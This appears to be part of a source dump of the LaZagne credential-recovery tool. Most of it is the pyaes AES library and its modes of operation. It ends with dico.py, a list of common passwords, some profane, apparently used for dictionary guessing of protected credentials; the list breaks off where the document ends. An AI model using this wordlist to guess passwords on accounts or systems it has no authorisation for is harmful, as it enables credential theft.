0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ] U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ] def __init__(self, key): if len(key) not in (16, 24, 32): raise ValueError('Invalid key size') rounds = self.number_of_rounds[len(key)] # Encryption round keys self._Ke = [[0] * 4 for i in xrange(rounds + 1)] # Decryption round keys self._Kd = [[0] * 4 for i in xrange(rounds + 1)] round_key_count = (rounds + 1) * 4 KC = len(key) // 4 # Convert the key into ints tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ] # Copy values into round key arrays for i in xrange(0, KC): self._Ke[i // 4][i % 4] = tk[i] self._Kd[rounds - (i // 4)][i % 4] = tk[i] # Key expansion (fips-197 section 5.2) rconpointer = 0 t = KC while t < round_key_count: tt = tk[KC - 1] tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ (self.S[(tt >> 8) & 0xFF] << 16) ^ (self.S[ tt & 0xFF] << 8) ^ self.S[(tt >> 24) & 0xFF] ^ (self.rcon[rconpointer] << 24)) rconpointer += 1 if KC != 8: for i in xrange(1, KC): tk[i] ^= tk[i - 1] # Key expansion for 256-bit keys is "slightly different" (fips-197) else: for i in xrange(1, KC // 2): tk[i] ^= tk[i - 1] tt = tk[KC // 2 - 1] tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ (self.S[(tt >> 8) & 0xFF] << 8) ^ (self.S[(tt >> 16) & 0xFF] << 16) ^ (self.S[(tt >> 24) & 0xFF] << 24)) for i in xrange(KC // 2 + 1, KC): tk[i] ^= tk[i - 1] # Copy values into round key arrays j = 0 while j < KC and t < round_key_count: self._Ke[t // 4][t % 4] = tk[j] self._Kd[rounds - (t // 4)][t % 4] = tk[j] j += 1 t += 1 # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) for r in xrange(1, rounds): for j in xrange(0, 4): tt = self._Kd[r][j] self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ self.U2[(tt >> 16) & 0xFF] ^ self.U3[(tt >> 8) & 0xFF] ^ self.U4[ tt & 0xFF]) def encrypt(self, plaintext): 'Encrypt a block of plain text using the AES block cipher.' if len(plaintext) != 16: raise ValueError('wrong block length') rounds = len(self._Ke) - 1 (s1, s2, s3) = [1, 2, 3] a = [0, 0, 0, 0] # Convert plaintext to (ints ^ key) t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] # Apply round transforms for r in xrange(1, rounds): for i in xrange(0, 4): a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ self.T4[ t[(i + s3) % 4] & 0xFF] ^ self._Ke[r][i]) t = copy.copy(a) # The last round is special result = [ ] for i in xrange(0, 4): tt = self._Ke[rounds][i] result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) return result def decrypt(self, ciphertext): 'Decrypt a block of cipher text using the AES block cipher.' if len(ciphertext) != 16: raise ValueError('wrong block length') rounds = len(self._Kd) - 1 (s1, s2, s3) = [3, 2, 1] a = [0, 0, 0, 0] # Convert ciphertext to (ints ^ key) t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] # Apply round transforms for r in xrange(1, rounds): for i in xrange(0, 4): a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ self.T8[ t[(i + s3) % 4] & 0xFF] ^ self._Kd[r][i]) t = copy.copy(a) # The last round is special result = [ ] for i in xrange(0, 4): tt = self._Kd[rounds][i] result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) return result class Counter(object): '''A counter object for the Counter (CTR) mode of operation. To create a custom counter, you can usually just override the increment method.''' def __init__(self, initial_value = 1): # Convert the value into an array of bytes long self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ] value = property(lambda s: s._counter) def increment(self): '''Increment the counter (overflow rolls back to 0).''' for i in xrange(len(self._counter) - 1, -1, -1): self._counter[i] += 1 if self._counter[i] < 256: break # Carry the one self._counter[i] = 0 # Overflow else: self._counter = [ 0 ] * len(self._counter) class AESBlockModeOfOperation(object): '''Super-class for AES modes of operation that require blocks.''' def __init__(self, key): self._aes = AES(key) def decrypt(self, ciphertext): raise Exception('not implemented') def encrypt(self, plaintext): raise Exception('not implemented') class AESStreamModeOfOperation(AESBlockModeOfOperation): '''Super-class for AES modes of operation that are stream-ciphers.''' class AESSegmentModeOfOperation(AESStreamModeOfOperation): '''Super-class for AES modes of operation that segment data.''' segment_bytes = 16 class AESModeOfOperationECB(AESBlockModeOfOperation): '''AES Electronic Codebook Mode of Operation. o Block-cipher, so data must be padded to 16 byte boundaries Security Notes: o This mode is not recommended o Any two identical blocks produce identical encrypted values, exposing data patterns. (See the image of Tux on wikipedia) Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1''' name = "Electronic Codebook (ECB)" def encrypt(self, plaintext): if len(plaintext) != 16: raise ValueError('plaintext block must be 16 bytes') plaintext = _string_to_bytes(plaintext) return _bytes_to_string(self._aes.encrypt(plaintext)) def decrypt(self, ciphertext): if len(ciphertext) != 16: raise ValueError('ciphertext block must be 16 bytes') ciphertext = _string_to_bytes(ciphertext) return _bytes_to_string(self._aes.decrypt(ciphertext)) class AESModeOfOperationCBC(AESBlockModeOfOperation): '''AES Cipher-Block Chaining Mode of Operation. o The Initialization Vector (IV) o Block-cipher, so data must be padded to 16 byte boundaries o An incorrect initialization vector will only cause the first block to be corrupt; all other blocks will be intact o A corrupt bit in the cipher text will cause a block to be corrupted, and the next block to be inverted, but all other blocks will be intact. Security Notes: o This method (and CTR) ARE recommended. Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2''' name = "Cipher-Block Chaining (CBC)" def __init__(self, key, iv = None): if iv is None: self._last_cipherblock = [ 0 ] * 16 elif len(iv) != 16: raise ValueError('initialization vector must be 16 bytes') else: self._last_cipherblock = _string_to_bytes(iv) AESBlockModeOfOperation.__init__(self, key) def encrypt(self, plaintext): if len(plaintext) != 16: raise ValueError('plaintext block must be 16 bytes') plaintext = _string_to_bytes(plaintext) precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ] self._last_cipherblock = self._aes.encrypt(precipherblock) return _bytes_to_string(self._last_cipherblock) def decrypt(self, ciphertext): if len(ciphertext) != 16: raise ValueError('ciphertext block must be 16 bytes') cipherblock = _string_to_bytes(ciphertext) plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ] self._last_cipherblock = cipherblock return _bytes_to_string(plaintext) class AESModeOfOperationCFB(AESSegmentModeOfOperation): '''AES Cipher Feedback Mode of Operation. o A stream-cipher, so input does not need to be padded to blocks, but does need to be padded to segment_size Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3''' name = "Cipher Feedback (CFB)" def __init__(self, key, iv, segment_size = 1): if segment_size == 0: segment_size = 1 if iv is None: self._shift_register = [ 0 ] * 16 elif len(iv) != 16: raise ValueError('initialization vector must be 16 bytes') else: self._shift_register = _string_to_bytes(iv) self._segment_bytes = segment_size AESBlockModeOfOperation.__init__(self, key) segment_bytes = property(lambda s: s._segment_bytes) def encrypt(self, plaintext): if len(plaintext) % self._segment_bytes != 0: raise ValueError('plaintext block must be a multiple of segment_size') plaintext = _string_to_bytes(plaintext) # Break block into segments encrypted = [ ] for i in xrange(0, len(plaintext), self._segment_bytes): plaintext_segment = plaintext[i: i + self._segment_bytes] xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)] cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ] # Shift the top bits out and the ciphertext in self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) encrypted.extend(cipher_segment) return _bytes_to_string(encrypted) def decrypt(self, ciphertext): if len(ciphertext) % self._segment_bytes != 0: raise ValueError('ciphertext block must be a multiple of segment_size') ciphertext = _string_to_bytes(ciphertext) # Break block into segments decrypted = [ ] for i in xrange(0, len(ciphertext), self._segment_bytes): cipher_segment = ciphertext[i: i + self._segment_bytes] xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)] plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ] # Shift the top bits out and the ciphertext in self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) decrypted.extend(plaintext_segment) return _bytes_to_string(decrypted) class AESModeOfOperationOFB(AESStreamModeOfOperation): '''AES Output Feedback Mode of Operation. o A stream-cipher, so input does not need to be padded to blocks, allowing arbitrary length data. o A bit twiddled in the cipher text, twiddles the same bit in the same bit in the plain text, which can be useful for error correction techniques. Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4''' name = "Output Feedback (OFB)" def __init__(self, key, iv = None): if iv is None: self._last_precipherblock = [ 0 ] * 16 elif len(iv) != 16: raise ValueError('initialization vector must be 16 bytes') else: self._last_precipherblock = _string_to_bytes(iv) self._remaining_block = [ ] AESBlockModeOfOperation.__init__(self, key) def encrypt(self, plaintext): encrypted = [ ] for p in _string_to_bytes(plaintext): if len(self._remaining_block) == 0: self._remaining_block = self._aes.encrypt(self._last_precipherblock) self._last_precipherblock = [ ] precipherbyte = self._remaining_block.pop(0) self._last_precipherblock.append(precipherbyte) cipherbyte = p ^ precipherbyte encrypted.append(cipherbyte) return _bytes_to_string(encrypted) def decrypt(self, ciphertext): # AES-OFB is symetric return self.encrypt(ciphertext) class AESModeOfOperationCTR(AESStreamModeOfOperation): '''AES Counter Mode of Operation. o A stream-cipher, so input does not need to be padded to blocks, allowing arbitrary length data. o The counter must be the same size as the key size (ie. len(key)) o Each block independant of the other, so a corrupt byte will not damage future blocks. o Each block has a uniue counter value associated with it, which contributes to the encrypted value, so no data patterns are leaked. o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and Segmented Integer Counter (SIC Security Notes: o This method (and CBC) ARE recommended. o Each message block is associated with a counter value which must be unique for ALL messages with the same key. Otherwise security may be compromised. Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5 and Appendix B for managing the initial counter''' name = "Counter (CTR)" def __init__(self, key, counter = None): AESBlockModeOfOperation.__init__(self, key) if counter is None: counter = Counter() self._counter = counter self._remaining_counter = [ ] def encrypt(self, plaintext): while len(self._remaining_counter) < len(plaintext): self._remaining_counter += self._aes.encrypt(self._counter.value) self._counter.increment() plaintext = _string_to_bytes(plaintext) encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ] self._remaining_counter = self._remaining_counter[len(encrypted):] return _bytes_to_string(encrypted) def decrypt(self, crypttext): # AES-CTR is symetric return self.encrypt(crypttext) # Simple lookup table for each mode AESModesOfOperation = dict( ctr = AESModeOfOperationCTR, cbc = AESModeOfOperationCBC, cfb = AESModeOfOperationCFB, ecb = AESModeOfOperationECB, ofb = AESModeOfOperationOFB, ) ================================================ FILE: Linux/lazagne/config/crypto/pyaes/blockfeeder.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from .aes import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable # First we inject three functions to each of the modes of operations # # _can_consume(size) # - Given a size, determine how many bytes could be consumed in # a single call to either the decrypt or encrypt method # # _final_encrypt(data, padding = PADDING_DEFAULT) # - call and return encrypt on this (last) chunk of data, # padding as necessary; this will always be at least 16 # bytes unless the total incoming input was less than 16 # bytes # # _final_decrypt(data, padding = PADDING_DEFAULT) # - same as _final_encrypt except for decrypt, for # stripping off padding # PADDING_NONE = 'none' PADDING_DEFAULT = 'default' # @TODO: Ciphertext stealing and explicit PKCS#7 # PADDING_CIPHERTEXT_STEALING # PADDING_PKCS7 # ECB and CBC are block-only ciphers def _block_can_consume(self, size): if size >= 16: return 16 return 0 # After padding, we may have more than one block def _block_final_encrypt(self, data, padding = PADDING_DEFAULT): if padding == PADDING_DEFAULT: data = append_PKCS7_padding(data) elif padding == PADDING_NONE: if len(data) != 16: raise Exception('invalid data length for final block') else: raise Exception('invalid padding option') if len(data) == 32: return self.encrypt(data[:16]) + self.encrypt(data[16:]) return self.encrypt(data) def _block_final_decrypt(self, data, padding = PADDING_DEFAULT): if padding == PADDING_DEFAULT: return strip_PKCS7_padding(self.decrypt(data)) if padding == PADDING_NONE: if len(data) != 16: raise Exception('invalid data length for final block') return self.decrypt(data) raise Exception('invalid padding option') AESBlockModeOfOperation._can_consume = _block_can_consume AESBlockModeOfOperation._final_encrypt = _block_final_encrypt AESBlockModeOfOperation._final_decrypt = _block_final_decrypt # CFB is a segment cipher def _segment_can_consume(self, size): return self.segment_bytes * int(size // self.segment_bytes) # CFB can handle a non-segment-sized block at the end using the remaining cipherblock def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT): if padding != PADDING_DEFAULT: raise Exception('invalid padding option') faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) padded = data + to_bufferable(faux_padding) return self.encrypt(padded)[:len(data)] # CFB can handle a non-segment-sized block at the end using the remaining cipherblock def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT): if padding != PADDING_DEFAULT: raise Exception('invalid padding option') faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) padded = data + to_bufferable(faux_padding) return self.decrypt(padded)[:len(data)] AESSegmentModeOfOperation._can_consume = _segment_can_consume AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt # OFB and CTR are stream ciphers def _stream_can_consume(self, size): return size def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT): if padding not in [PADDING_NONE, PADDING_DEFAULT]: raise Exception('invalid padding option') return self.encrypt(data) def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT): if padding not in [PADDING_NONE, PADDING_DEFAULT]: raise Exception('invalid padding option') return self.decrypt(data) AESStreamModeOfOperation._can_consume = _stream_can_consume AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt class BlockFeeder(object): '''The super-class for objects to handle chunking a stream of bytes into the appropriate block size for the underlying mode of operation and applying (or stripping) padding, as necessary.''' def __init__(self, mode, feed, final, padding = PADDING_DEFAULT): self._mode = mode self._feed = feed self._final = final self._buffer = to_bufferable("") self._padding = padding def feed(self, data = None): '''Provide bytes to encrypt (or decrypt), returning any bytes possible from this or any previous calls to feed. Call with None or an empty string to flush the mode of operation and return any final bytes; no further calls to feed may be made.''' if self._buffer is None: raise ValueError('already finished feeder') # Finalize; process the spare bytes we were keeping if data is None: result = self._final(self._buffer, self._padding) self._buffer = None return result self._buffer += to_bufferable(data) # We keep 16 bytes around so we can determine padding result = to_bufferable('') while len(self._buffer) > 16: can_consume = self._mode._can_consume(len(self._buffer) - 16) if can_consume == 0: break result += self._feed(self._buffer[:can_consume]) self._buffer = self._buffer[can_consume:] return result class Encrypter(BlockFeeder): 'Accepts bytes of plaintext and returns encrypted ciphertext.' def __init__(self, mode, padding = PADDING_DEFAULT): BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding) class Decrypter(BlockFeeder): 'Accepts bytes of ciphertext and returns decrypted plaintext.' def __init__(self, mode, padding = PADDING_DEFAULT): BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding) # 8kb blocks BLOCK_SIZE = (1 << 13) def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE): 'Uses feeder to read and convert from in_stream and write to out_stream.' while True: chunk = in_stream.read(block_size) if not chunk: break converted = feeder.feed(chunk) out_stream.write(converted) converted = feeder.feed() out_stream.write(converted) def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): 'Encrypts a stream of bytes from in_stream to out_stream using mode.' encrypter = Encrypter(mode, padding = padding) _feed_stream(encrypter, in_stream, out_stream, block_size) def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): 'Decrypts a stream of bytes from in_stream to out_stream using mode.' decrypter = Decrypter(mode, padding = padding) _feed_stream(decrypter, in_stream, out_stream, block_size) ================================================ FILE: Linux/lazagne/config/crypto/pyaes/util.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # Why to_bufferable? # Python 3 is very different from Python 2.x when it comes to strings of text # and strings of bytes; in Python 3, strings of bytes do not exist, instead to # represent arbitrary binary data, we must use the "bytes" object. This method # ensures the object behaves as we need it to. def to_bufferable(binary): return binary def _get_byte(c): return ord(c) try: xrange except NameError: def to_bufferable(binary): if isinstance(binary, bytes): return binary return bytes(ord(b) for b in binary) def _get_byte(c): return c def append_PKCS7_padding(data): pad = 16 - (len(data) % 16) return data + to_bufferable(chr(pad) * pad) def strip_PKCS7_padding(data): if len(data) % 16 != 0: raise ValueError("invalid length") pad = _get_byte(data[-1]) if pad > 16: raise ValueError("invalid padding byte") return data[:-pad] ================================================ FILE: Linux/lazagne/config/dico.py ================================================ def get_dic(): return [ b"password", b"123456", b"12345678", b"1234", b"qwerty", b"12345", b"dragon", b"pussy", b"baseball", b"football", b"letmein", b"monkey", b"696969", b"abc123", b"mustang", b"michael", b"shadow", b"master", b"jennifer", b"111111", b"2000", b"jordan", b"superman", b"harley", b"1234567", b"fuckme", b"hunter", b"fuckyob", b"trustno1", b"ranger", b"buster", b"thomas", b"tigger", b"robert", b"soccer", b"fuck", b"batman", b"test", b"pass", b"killer", b"hockey", b"george", b"charlie", b"andrew", b"michelle", b"love", b"sunshine", b"jessica", b"asshole", b"6969", b"pepper", b"daniel", b"access", b"123456789", b"654321", b"joshua", b"maggie", b"starwars", b"silver", b"william", b"dallas", b"yankees", b"123123", b"ashley", b"666666", b"hello", b"amanda", b"orange", b"biteme", b"freedom", b"computer", b"sexy", b"thunder", b"nicole", b"ginger", b"heather", b"hammer", b"summer", b"corvette", b"taylor", b"fucker", b"austin", b"1111", b"merlin", b"matthew", b"121212", b"golfer", b"cheese", b"princess", b"martin", b"chelsea", b"patrick", b"richard", b"diamond", b"yellow", b"bigdog", b"secret", b"asdfgh", b"sparky", b"cowboy", b"camaro", b"anthony", b"matrix", b"falcon", b"iloveyob", b"bailey", b"guitar", b"jackson", b"purple", b"scooter", b"phoenix", b"aaaaaa", b"morgan", b"tigers", b"porsche", b"mickey", b"maverick", b"cookie", b"nascar", b"peanut", b"justin", b"131313", b"money", b"horny", b"samantha", b"panties", b"steelers", b"joseph", b"snoopy", b"boomer", b"whatever", b"iceman", b"smokey", b"gateway", b"dakota", b"cowboys", b"eagles", b"chicken", b"dick", b"black", b"zxcvbn", b"please", b"andrea", b"ferrari", b"knight", b"hardcore", b"melissa", b"compaq", b"coffee", b"booboo", b"bitch", b"johnny", b"bulldog", b"xxxxxx", b"welcome", b"james", b"player", b"ncc1701", b"wizard", b"scooby", b"charles", b"junior", b"internet", b"bigdick", b"mike", b"brandy", b"tennis", b"blowjob", b"banana", b"monster", b"spider", b"lakers", b"miller", b"rabbit", b"enter", b"mercedes", b"brandon", b"steven", b"fender", b"john", b"yamaha", b"diablo", b"chris", b"boston", b"tiger", b"marine", b"chicago", b"rangers", b"gandalf", b"winter", b"bigtits", b"barney", b"edward", b"raiders", b"porn", b"badboy", b"blowme", b"spanky", b"bigdaddy", b"johnson", b"chester", b"london", b"midnight", b"blue", 